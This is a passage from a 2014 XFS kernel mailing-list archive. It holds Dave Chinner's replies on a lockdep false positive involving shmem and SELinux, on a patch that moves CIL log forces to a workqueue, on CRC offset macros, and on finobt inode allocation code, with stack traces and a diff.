(Postfix) with ESMTP id 9755930407F for ; Wed, 19 Feb 2014 16:13:57 -0800 (PST) X-ASG-Debug-ID: 1392855234-04cbb00c285d0d80001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id UBwtz3AnwdgFYAJ0 for ; Wed, 19 Feb 2014 16:13:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHAEdIBVN5LJYe/2dsb2JhbABYgwa7NoVRgRcXdIIlAQEEAScTHCMFCwgRBwMJGgsPBSUDIROHfQfOVRcWjkkFB4Q4BJRHg2iKUIdVgW+BUig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 10:43:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGHGb-0004U0-H0; Thu, 20 Feb 2014 11:13:29 +1100 Date: Thu, 20 Feb 2014 11:13:29 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com, linux-mm@kvack.org, linux-security-module@vger.kernel.org Subject: mmap_sem -> isec->lock lockdep issues with shmem (was Re: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive) Message-ID: <20140220001329.GG4916@dastard> X-ASG-Orig-Subj: mmap_sem -> isec->lock lockdep issues with shmem (was Re: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive) References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-3-git-send-email-david@fromorbit.com> <5304F70C.8070601@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5304F70C.8070601@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392855234 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145296 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [cc linux-mm because it shmem craziness that is causing the problem] [cc linux-security-module because it is security contexts that need lockdep annotations.] On Wed, Feb 19, 2014 at 01:25:16PM -0500, Brian Foster wrote: > On 02/18/2014 11:16 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > The change to add the IO lock to protect the directory extent map > > during readdir operations has cause lockdep to have a heart attack > > as it now sees a different locking order on inodes w.r.t. the > > mmap_sem because readdir has a different ordering to write(). > > > > Add a new lockdep class for directory inodes to avoid this false > > positive. > > > > Signed-off-by: Dave Chinner > > --- > > Hey Dave, > > I'm not terribly familiar with lockdep, but I hit the attached "possible > circular locking dependency detected" warning when running with this patch. > > (Reproduces by running generic/001 after a reboot). Ok, you're testing on an selinux enabled system, I didn't. > Feb 19 12:22:03 localhost kernel: [ 101.487018] > Feb 19 12:22:03 localhost kernel: [ 101.487018] -> #2 (&xfs_dir_ilock_class){++++..}: > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] lock_acquire+0xa2/0x1d0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] down_read_nested+0x57/0xa0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_ilock+0x122/0x250 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_ilock_attr_map_shared+0x1f/0x50 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_attr_get+0x90/0xe0 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_xattr_get+0x37/0x50 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] generic_getxattr+0x4f/0x70 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] inode_doinit_with_dentry+0x1ae/0x650 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] sb_finish_set_opts+0xd8/0x270 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] selinux_set_mnt_opts+0x292/0x5f0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] superblock_doinit+0x68/0xd0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] selinux_sb_kern_mount+0x3d/0xa0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] security_sb_kern_mount+0x16/0x20 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] mount_fs+0x8a/0x1b0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] vfs_kern_mount+0x6b/0x150 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] do_mount+0x23e/0xb90 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] SyS_mount+0x83/0xc0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] system_call_fastpath+0x16/0x1b So, we take the ilock on the directory xattr read path during security attribute initialisation so we have a inode->i_isec->lock -> ilock path, which is normal. > Feb 19 12:22:03 localhost kernel: [ 101.487018] -> #1 (&isec->lock){+.+.+.}: > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] lock_acquire+0xa2/0x1d0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] mutex_lock_nested+0x77/0x3f0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] inode_doinit_with_dentry+0x92/0x650 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] selinux_d_instantiate+0x1c/0x20 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] security_d_instantiate+0x1b/0x30 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] d_instantiate+0x50/0x70 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] __shmem_file_setup+0xe0/0x1d0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] shmem_zero_setup+0x28/0x70 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] mmap_region+0x543/0x5a0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] do_mmap_pgoff+0x301/0x3c0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] vm_mmap_pgoff+0x90/0xc0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] SyS_mmap_pgoff+0x116/0x270 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] SyS_mmap+0x22/0x30 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] system_call_fastpath+0x16/0x1b What the hell? We instantiate an shmem filesystem *inode* under the mmap_sem? And so we have a mmap_sem -> inode->i_isec->lock path on a *shmem* inode. > Feb 19 12:22:03 localhost kernel: [ 101.487018] > Feb 19 12:22:03 localhost kernel: [ 101.487018] -> #0 (&mm->mmap_sem){++++++}: > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] __lock_acquire+0x18ec/0x1aa0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] lock_acquire+0xa2/0x1d0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] might_fault+0x8c/0xb0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] filldir+0x91/0x120 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_dir2_sf_getdents+0x317/0x380 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_readdir+0x16b/0x230 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] xfs_file_readdir+0x2b/0x40 [xfs] > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] iterate_dir+0xa8/0xe0 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] SyS_getdents+0x93/0x120 > Feb 19 12:22:03 localhost kernel: [ 101.487018] [] system_call_fastpath+0x16/0x1b And then we have the mmap_sem in readdir, which inode->ilock -> mmap_sem. > Feb 19 12:22:03 localhost kernel: [ 101.487018] > Feb 19 12:22:03 localhost kernel: [ 101.487018] other info that might help us debug this: > Feb 19 12:22:03 localhost kernel: [ 101.487018] > Feb 19 12:22:03 localhost kernel: [ 101.487018] Chain exists of: > Feb 19 12:22:03 localhost kernel: [ 101.487018] &mm->mmap_sem --> &isec->lock --> &xfs_dir_ilock_class > Feb 19 12:22:03 localhost kernel: [ 101.487018] > Feb 19 12:22:03 localhost kernel: [ 101.487018] Possible unsafe locking scenario: > Feb 19 12:22:03 localhost kernel: [ 101.487018] > Feb 19 12:22:03 localhost kernel: [ 101.487018] CPU0 CPU1 > Feb 19 12:22:03 localhost kernel: [ 101.487018] ---- ---- > Feb 19 12:22:03 localhost kernel: [ 101.487018] lock(&xfs_dir_ilock_class); > Feb 19 12:22:03 localhost kernel: [ 101.487018] lock(&isec->lock); > Feb 19 12:22:03 localhost kernel: [ 101.487018] lock(&xfs_dir_ilock_class); > Feb 19 12:22:03 localhost kernel: [ 101.487018] lock(&mm->mmap_sem); So that's just another goddamn false positive. The problem here is that it's many, many layers away from XFS, and really doesn't involve XFS at all. It's caused by shmem instantiating an inode under the mmap_sem... Basically, the only way I can see that this is even remotely preventable is that inode->isec->ilock needs a per-sb lockdep context so that lockdep doesn't confuse the lock heirarchies of completely unrelated filesystems when someone does something crazy like the page fault path is currently doing. Fmeh: struct super_block { .... #ifdef CONFIG_SECURITY void *s_security; #endif So I can't even isolate it to the security subsystem pointer in the superblock because there isn't a generic structure to abstract security specific stuff from the superblock without having to implement the same lockdep annotations in every security module uses xattrs to store security information. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 19 18:24:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F31F77FDB for ; Wed, 19 Feb 2014 18:24:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D57EAC003 for ; Wed, 19 Feb 2014 16:24:26 -0800 (PST) X-ASG-Debug-ID: 1392855863-04cbb00c2a5d1500001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id S2q2nBOZE1NQGijp for ; Wed, 19 Feb 2014 16:24:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHALZKBVN5LJYe/2dsb2JhbABYgwa7NoVRgRcXdIIlAQEEAScTHCMFCwgDDgcDCSUPBSUDIROHfQfOUxcWjk4HhDgEmC+SJYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 10:54:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGHQk-0004W9-Ds; Thu, 20 Feb 2014 11:23:58 +1100 Date: Thu, 20 Feb 2014 11:23:58 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue Message-ID: <20140220002358.GH4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5304F6F6.3070007@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392855863 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145298 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: > On 02/18/2014 11:16 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > Log forces can occur deep in the call chain when we have relatively > > little stack free. Log forces can also happen at close to the call > > chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from > > places where we really don't want to add more stack overhead. > > > > This stack overhead occurs because log forces do foreground CIL > > pushes (xlog_cil_push_foreground()) rather than waking the > > background push wq and waiting for the for the push to complete. > > This foreground push was done to avoid confusing the CFQ Io > > scheduler when fsync()s were issued, as it has trouble dealing with > > dependent IOs being issued from different process contexts. > > > > Avoiding blowing the stack is much more critical than performance > > optimisations for CFQ, especially as we've been recommending against > > the use of CFQ for XFS since 3.2 kernels were release because of > > it's problems with multi-threaded IO workloads. > > > > Hence convert xlog_cil_push_foreground() to move the push work > > to the CIL workqueue. We already do the waiting for the push to > > complete in xlog_cil_force_lsn(), so there's nothing else we need to > > modify to make this work. > > > > Signed-off-by: Dave Chinner > > --- > > fs/xfs/xfs_log_cil.c | 52 +++++++++++++++++++++++++++++++++++++++------------- > > 1 file changed, 39 insertions(+), 13 deletions(-) > > > > diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > > index b57a8e0..7e54553 100644 > > --- a/fs/xfs/xfs_log_cil.c > > +++ b/fs/xfs/xfs_log_cil.c > > @@ -499,13 +499,6 @@ xlog_cil_push( > > cil->xc_ctx = new_ctx; > > > > /* > > - * mirror the new sequence into the cil structure so that we can do > > - * unlocked checks against the current sequence in log forces without > > - * risking deferencing a freed context pointer. > > - */ > > - cil->xc_current_sequence = new_ctx->sequence; > > - > > - /* > > * The switch is now done, so we can drop the context lock and move out > > * of a shared context. We can't just go straight to the commit record, > > * though - we need to synchronise with previous and future commits so > > @@ -523,8 +516,15 @@ xlog_cil_push( > > * Hence we need to add this context to the committing context list so > > * that higher sequences will wait for us to write out a commit record > > * before they do. > > + * > > + * xfs_log_force_lsn requires us to mirror the new sequence into the cil > > + * structure atomically with the addition of this sequence to the > > + * committing list. This also ensures that we can do unlocked checks > > + * against the current sequence in log forces without risking > > + * deferencing a freed context pointer. > > */ > > spin_lock(&cil->xc_push_lock); > > + cil->xc_current_sequence = new_ctx->sequence; > > list_add(&ctx->committing, &cil->xc_committing); > > spin_unlock(&cil->xc_push_lock); > > up_write(&cil->xc_ctx_lock); > > @@ -662,8 +662,14 @@ xlog_cil_push_background( > > > > } > > > > +/* > > + * xlog_cil_push_now() is used to trigger an immediate CIL push to the sequence > > + * number that is passed. When it returns, the work will be queued for > > + * @push_seq, but it won't be completed. The caller is expected to do any > > + * waiting for push_seq to complete if it is required. > > + */ > > static void > > -xlog_cil_push_foreground( > > +xlog_cil_push_now( > > struct xlog *log, > > xfs_lsn_t push_seq) > > { > > @@ -688,10 +694,8 @@ xlog_cil_push_foreground( > > } > > > > cil->xc_push_seq = push_seq; > > + queue_work(log->l_mp->m_cil_workqueue, &cil->xc_push_work); > > spin_unlock(&cil->xc_push_lock); > > - > > - /* do the push now */ > > - xlog_cil_push(log); > > } > > > > bool > > @@ -795,7 +799,8 @@ xlog_cil_force_lsn( > > * xlog_cil_push() handles racing pushes for the same sequence, > > * so no need to deal with it here. > > */ > > - xlog_cil_push_foreground(log, sequence); > > +restart: > > + xlog_cil_push_now(log, sequence); > > > > /* > > * See if we can find a previous sequence still committing. > > @@ -803,7 +808,6 @@ xlog_cil_force_lsn( > > * before allowing the force of push_seq to go ahead. Hence block > > * on commits for those as well. > > */ > > -restart: > > spin_lock(&cil->xc_push_lock); > > list_for_each_entry(ctx, &cil->xc_committing, committing) { > > if (ctx->sequence > sequence) > > @@ -821,6 +825,28 @@ restart: > > /* found it! */ > > commit_lsn = ctx->commit_lsn; > > } > > + > > + /* > > + * The call to xlog_cil_push_now() executes the push in the background. > > + * Hence by the time we have got here it our sequence may not have been > > + * pushed yet. This is true if the current sequence still matches the > > + * push sequence after the above wait loop and the CIL still contains > > + * dirty objects. > > + * > > + * When the push occurs, it will empty the CIL and > > + * atomically increment the currect sequence past the push sequence and > > + * move it into the committing list. Of course, if the CIL is clean at > > + * the time of the push, it won't have pushed the CIL at all, so in that > > + * case we should try the push for this sequence again from the start > > + * just in case. > > + */ > > + > > + if (sequence == cil->xc_current_sequence && > > + !list_empty(&cil->xc_cil)) { > > + spin_unlock(&cil->xc_push_lock); > > + goto restart; > > + } > > + > > IIUC, the objective here is to make sure we don't leave this code path > before the push even starts and the ctx makes it onto the committing > list, due to xlog_cil_push_now() moving things to a workqueue. Right. > Given that, what's the purpose of re-executing the background push as > opposed to restarting the wait sequence (as done previously)? It looks > like push_now() won't queue the work again due to cil->xc_push_seq, but > it will flush the queue and I suppose make it more likely the push > starts. Is that the intent? Effectively. But the other thing that it is protecting against is that foreground push is done without holding the cil->xc_ctx_lock, and so we can get the situation where we try a foreground push of the current sequence, see that the CIL is empty and return without pushing, wait for previous sequences to commit, then find that the CIL has items on the CIL in the sequence we are supposed to be committing. In this case, we don't know if this occurred because the workqueue has not started working on our push, or whether we raced on an empty CIL, and hence we need to make sure that everything in the sequence we are support to commit is pushed to the log. Hence if the current sequence is dirty after we've ensure that all prior sequences are fully checkpointed, need to go back and push the CIL again to ensure that when we return to the caller the CIL is checkpointed up to the point in time of the log force occurring. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 19 18:27:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D70E57FDB for ; Wed, 19 Feb 2014 18:27:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BC673304081 for ; Wed, 19 Feb 2014 16:27:18 -0800 (PST) X-ASG-Debug-ID: 1392856036-04cb6c6de15d75c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id EwVQL7ZHpyjEah8V for ; Wed, 19 Feb 2014 16:27:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHALZKBVN5LJYe/2dsb2JhbABYgwa7NoVRgRcXdIIlAQEFOhwjEAgDGAklDwUlAyETGYdrzlMXFo5OB4Q4BJgvkiWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 10:57:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGHTt-0004Wh-SI; Thu, 20 Feb 2014 11:27:13 +1100 Date: Thu, 20 Feb 2014 11:27:13 +1100 From: Dave Chinner To: Jeff Liu Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases Message-ID: <20140220002713.GI4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-5-git-send-email-sandeen@redhat.com> <530463C6.6050509@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530463C6.6050509@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392856036 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145298 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 03:56:54PM +0800, Jeff Liu wrote: > Hi Eric, > > I read the previous comments from Dave about using defines for CRC offsets, > and with a grep search after applying this patch, looks there have another > two places maybe we should switch them to the macros as well: > > fs/xfs/xfs_log.c: > Do we need a log record crc offset macros for offsetof(struct xlog_rec_header, h_crc))? > > xfs_dinode.h: > we added the XFS_DINODE_CRC_OFF, just use it at below routine? > > static inline uint xfs_dinode_size(int version) > { > if (version == 3) > return sizeof(struct xfs_dinode); > return offsetof(struct xfs_dinode, di_crc); > } No, that's a different case - it's not being used for determining the offset of a CRC varaible - it's being used to calculate the size of the version 2 inode core. Hence it should remain open coded like because it has a different purpose in life.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 19 18:39:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 467F98005 for ; Wed, 19 Feb 2014 18:39:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C3C430406A for ; Wed, 19 Feb 2014 16:39:27 -0800 (PST) X-ASG-Debug-ID: 1392856765-04cb6c6de15d8010001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id A9Dk21C8rjiLNP7L for ; Wed, 19 Feb 2014 16:39:25 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHADdOBVN5LJYe/2dsb2JhbABYgwa7NoVRgRcXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIBM5KFxaOTgeEOASYL5Ilg0EogSwk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 11:08:54 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGHf9-0004Y6-0g; Thu, 20 Feb 2014 11:38:51 +1100 Date: Thu, 20 Feb 2014 11:38:50 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation Message-ID: <20140220003850.GJ4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-7-git-send-email-bfoster@redhat.com> <20140211071703.GG13647@dastard> <52FE7629.9090208@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FE7629.9090208@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392856765 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145298 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 03:01:45PM -0500, Brian Foster wrote: > On 02/11/2014 02:17 AM, Dave Chinner wrote: > > On Tue, Feb 04, 2014 at 12:49:37PM -0500, Brian Foster wrote: > ... > >> + /* > >> + * Lookup and modify the equivalent record in the inobt. > >> + */ > >> + tcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); > > > > In case ou hadn't guessed, I don't like the "tcur/trec" variables > > because they make me thing "temporary" which they aren't. In this > > case it is the inobt cursor and record.... > > > > In fact, this whole segment could be factored into a function like > > xfs_dialloc_ag_inobt_update(), hence removing the second cursor from > > xfs_dialloc_ag() function altogether and that would clean a lot of > > the logic up.... > > > ... > >> + /* > >> + * Update the perag and superblock. > >> + */ > >> + be32_add_cpu(&agi->agi_freecount, -1); > >> + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); > >> + pag->pagi_freecount--; > >> + > >> + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); > > > > This will need to be done before you update the inobt, though, so > > you can run the xfs_check_agi_freecount() count in it and it will > > come out correct.... > > > > After cleaning up some of this code and taking a closer look, I end up > with something just short of complete removal of the inobt cursor in > this function. Reason being... the point above with regard to checking > the btrees against the agi freecount pre and post modification. I can't really comment all that well without having seen the factored code you've written.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 19 19:01:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BBF4E800C for ; Wed, 19 Feb 2014 19:01:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 532F9AC003 for ; Wed, 19 Feb 2014 17:01:01 -0800 (PST) X-ASG-Debug-ID: 1392858058-04bdf00fca1a8d50001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 9M7wWXKb4nvFtEDM for ; Wed, 19 Feb 2014 17:00:58 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHAOxSBVN5LJYe/2dsb2JhbABZgwa7NoVRgRgXdIIlAQEEAScTHCMFCwgDDgoJDBkPBSUDIROHfQfOPxcWjk4HCoQuBJgvkiWBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 11:30:58 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGI0V-0004b5-Rf; Thu, 20 Feb 2014 12:00:55 +1100 Date: Thu, 20 Feb 2014 12:00:55 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-ID: <20140220010055.GK4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <52FA4E61.9040908@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FA4E61.9040908@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392858058 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145299 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Feb 11, 2014 at 11:22:57AM -0500, Brian Foster wrote: > On 02/11/2014 01:46 AM, Dave Chinner wrote: > > On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: > >> Create the xfs_calc_finobt_res() helper to calculate the finobt log > >> reservation for inode allocation and free. Update > >> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt > >> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to > >> 